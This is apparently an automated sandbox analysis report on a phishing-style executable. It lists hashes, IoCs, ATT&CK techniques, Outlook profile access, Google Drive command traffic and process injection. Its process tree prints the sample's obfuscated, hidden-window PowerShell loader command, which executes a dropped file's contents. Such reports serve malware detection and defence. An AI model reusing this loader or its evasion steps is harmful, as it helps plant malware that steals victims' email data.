1f46960237d1e664022f16446eef5388ac465958872a46dd5590c5dd8279a199

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 11:20

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General

Target

PO-841122676_g787.exe
Size

815KB
MD5

6b7093af6319bf22ea0c754d7ab45f07
SHA1

9991892f77775419815c4953e633b355d51255f7
SHA256

1f46960237d1e664022f16446eef5388ac465958872a46dd5590c5dd8279a199
SHA512

b380818195d50b6ea569c76c95baf06bc51c94a02980818cd1639b6e2b2f9f7dee430dfdded1a73f934c6954a08d68631c86eaa044beca3b677b710655130e96
SSDEEP

12288:l7TL7whZeyDqdTuV/uFivUaiXUS0vlP9Ia8GIbPYkAdwvLRPC6Oe73MFc0:9/6eyQK/oBUS6IacPYkAevLRPJyr

Score

8^/10

collection discovery evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1700 powershell.exe
Disables Task Manager via registry modification
evasion

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

Processes:

msiexec.exe

flow	pid	process
34	3548	msiexec.exe
36	3548	msiexec.exe
38	3548	msiexec.exe
40	3548	msiexec.exe
42	3548	msiexec.exe
46	3548	msiexec.exe
48	3548	msiexec.exe
52	3548	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

33 drive.google.com
34 drive.google.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

45 checkip.dyndns.org
Drops file in System32 directory 1 IoCs

Processes:

PO-841122676_g787.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\narrowness.ini PO-841122676_g787.exe
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

msiexec.exe

pid process

3548 msiexec.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exemsiexec.exe

pid process

1700 powershell.exe
3548 msiexec.exe

flow	ioc
33	drive.google.com
34	drive.google.com

flow	ioc
45	checkip.dyndns.org

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\narrowness.ini	PO-841122676_g787.exe

pid	process
3548	msiexec.exe

Drops file in Windows directory 2 IoCs

Processes:

PO-841122676_g787.exe

description	ioc	process
File opened for modification	C:\Windows\resources\0409\mutases.fin	PO-841122676_g787.exe
File opened for modification	C:\Windows\resources\energiudfoldelsers.Uku	PO-841122676_g787.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

msiexec.exePO-841122676_g787.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO-841122676_g787.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exemsiexec.exe

pid	process
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
1700	powershell.exe
3548	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1700 powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

Processes:

powershell.exemsiexec.exe

description	pid	process
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeIncreaseQuotaPrivilege	1700	powershell.exe
Token: SeSecurityPrivilege	1700	powershell.exe
Token: SeTakeOwnershipPrivilege	1700	powershell.exe
Token: SeLoadDriverPrivilege	1700	powershell.exe
Token: SeSystemProfilePrivilege	1700	powershell.exe
Token: SeSystemtimePrivilege	1700	powershell.exe
Token: SeProfSingleProcessPrivilege	1700	powershell.exe
Token: SeIncBasePriorityPrivilege	1700	powershell.exe
Token: SeCreatePagefilePrivilege	1700	powershell.exe
Token: SeBackupPrivilege	1700	powershell.exe
Token: SeRestorePrivilege	1700	powershell.exe
Token: SeShutdownPrivilege	1700	powershell.exe
Token: SeDebugPrivilege	1700	powershell.exe
Token: SeSystemEnvironmentPrivilege	1700	powershell.exe
Token: SeRemoteShutdownPrivilege	1700	powershell.exe
Token: SeUndockPrivilege	1700	powershell.exe
Token: SeManageVolumePrivilege	1700	powershell.exe
Token: 33	1700	powershell.exe
Token: 34	1700	powershell.exe
Token: 35	1700	powershell.exe
Token: 36	1700	powershell.exe
Token: SeDebugPrivilege	3548	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

PO-841122676_g787.exepowershell.exe

description	pid	process	target process
PID 4444 wrote to memory of 1700	4444	PO-841122676_g787.exe	powershell.exe
PID 4444 wrote to memory of 1700	4444	PO-841122676_g787.exe	powershell.exe
PID 4444 wrote to memory of 1700	4444	PO-841122676_g787.exe	powershell.exe
PID 1700 wrote to memory of 3548	1700	powershell.exe	msiexec.exe
PID 1700 wrote to memory of 3548	1700	powershell.exe	msiexec.exe
PID 1700 wrote to memory of 3548	1700	powershell.exe	msiexec.exe
PID 1700 wrote to memory of 3548	1700	powershell.exe	msiexec.exe

outlook_office_path 1 IoCs

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

Processes:

msiexec.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\PO-841122676_g787.exe
"C:\Users\Admin\AppData\Local\Temp\PO-841122676_g787.exe"
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4444
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Flodbredder=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\skittaget\lektier\Ensilager141.Ing';$Enkeltstyk223=$Flodbredder.SubString(75680,3);.$Enkeltstyk223($Flodbredder) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgmhmxnk.vt4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Ensilager141.Ing

Filesize
73KB

MD5
fa66b1604e040df8ef458ba7c3cee0af

SHA1
4f181a134ed96e0e9540de9f77856b736c6a9752

SHA256
344727c1783c13e3de3260403a56d55bc6165dccbd25dc62247c59fbd7e2faad

SHA512
6228ef987a6a181573e0ae35d828e430b9bcf6dbdf56dc543dbfb17126cc6d88c5e5ecd3d16196318fa94556f2d3f4af016b4b77c7e4ab23efc1f155c2d9047f

Download Submit
C:\Users\Admin\AppData\Roaming\skittaget\lektier\Srlove.Dir57

Filesize
340KB

MD5
e333184bd05eca0f67a7f1d73b049505

SHA1
9f9429d559b0acc6640cb8e403ed8fb77ae7276a

SHA256
ec3870b964207082826864be8cb3dec1e1bac65fd583f0b11d86a4cfa25bf24f

SHA512
0b6236ac17038c10941332de7a89906cc47bcd002ed99eb57372538e945c7feb9942ed96de1c50699ba71e458499a4e8777310128d84af49506a5dad2aa17aae

Download Submit
memory/1700-49-0x0000000007720000-0x00000000077C3000-memory.dmp

Filesize
652KB

Download
memory/1700-62-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-13-0x00000000052A0000-0x00000000052C2000-memory.dmp

Filesize
136KB

Download
memory/1700-14-0x0000000005B70000-0x0000000005BD6000-memory.dmp

Filesize
408KB

Download
memory/1700-15-0x0000000005BE0000-0x0000000005C46000-memory.dmp

Filesize
408KB

Download
memory/1700-11-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-25-0x0000000005C50000-0x0000000005FA4000-memory.dmp

Filesize
3.3MB

Download
memory/1700-26-0x0000000006260000-0x000000000627E000-memory.dmp

Filesize
120KB

Download
memory/1700-27-0x0000000006290000-0x00000000062DC000-memory.dmp

Filesize
304KB

Download
memory/1700-28-0x0000000006890000-0x0000000006926000-memory.dmp

Filesize
600KB

Download
memory/1700-30-0x00000000067B0000-0x00000000067D2000-memory.dmp

Filesize
136KB

Download
memory/1700-29-0x0000000006740000-0x000000000675A000-memory.dmp

Filesize
104KB

Download
memory/1700-31-0x00000000078A0000-0x0000000007E44000-memory.dmp

Filesize
5.6MB

Download
memory/1700-10-0x0000000005440000-0x0000000005A68000-memory.dmp

Filesize
6.2MB

Download
memory/1700-33-0x00000000084D0000-0x0000000008B4A000-memory.dmp

Filesize
6.5MB

Download
memory/1700-34-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-50-0x0000000007820000-0x000000000782A000-memory.dmp

Filesize
40KB

Download
memory/1700-37-0x00000000712B0000-0x0000000071604000-memory.dmp

Filesize
3.3MB

Download
memory/1700-36-0x0000000070EC0000-0x0000000070F0C000-memory.dmp

Filesize
304KB

Download
memory/1700-47-0x00000000076F0000-0x000000000770E000-memory.dmp

Filesize
120KB

Download
memory/1700-48-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-8-0x00000000750AE000-0x00000000750AF000-memory.dmp

Filesize
4KB

Download
memory/1700-53-0x0000000007F90000-0x0000000007FB4000-memory.dmp

Filesize
144KB

Download
memory/1700-51-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-35-0x0000000007690000-0x00000000076C2000-memory.dmp

Filesize
200KB

Download
memory/1700-52-0x0000000007860000-0x000000000788A000-memory.dmp

Filesize
168KB

Download
memory/1700-54-0x00000000750AE000-0x00000000750AF000-memory.dmp

Filesize
4KB

Download
memory/1700-55-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-56-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-57-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-58-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-9-0x0000000002C70000-0x0000000002CA6000-memory.dmp

Filesize
216KB

Download
memory/1700-60-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-61-0x0000000008B50000-0x000000000E423000-memory.dmp

Filesize
88.8MB

Download
memory/1700-12-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-63-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-65-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-66-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/1700-67-0x00000000750A0000-0x0000000075850000-memory.dmp

Filesize
7.7MB

Download
memory/3548-80-0x0000000000BA0000-0x0000000001DF4000-memory.dmp

Filesize
18.3MB

Download
memory/3548-81-0x0000000000BA0000-0x0000000000BBE000-memory.dmp

Filesize
120KB

Download
memory/3548-82-0x0000000025150000-0x00000000251EC000-memory.dmp

Filesize
624KB

Download
memory/3548-83-0x0000000025470000-0x0000000025502000-memory.dmp

Filesize
584KB

Download
memory/3548-84-0x0000000025420000-0x0000000025470000-memory.dmp

Filesize
320KB

Download
memory/3548-86-0x0000000025DE0000-0x0000000025FA2000-memory.dmp

Filesize
1.8MB

Download
memory/3548-87-0x0000000025C60000-0x0000000025C6A000-memory.dmp

Filesize
40KB

Download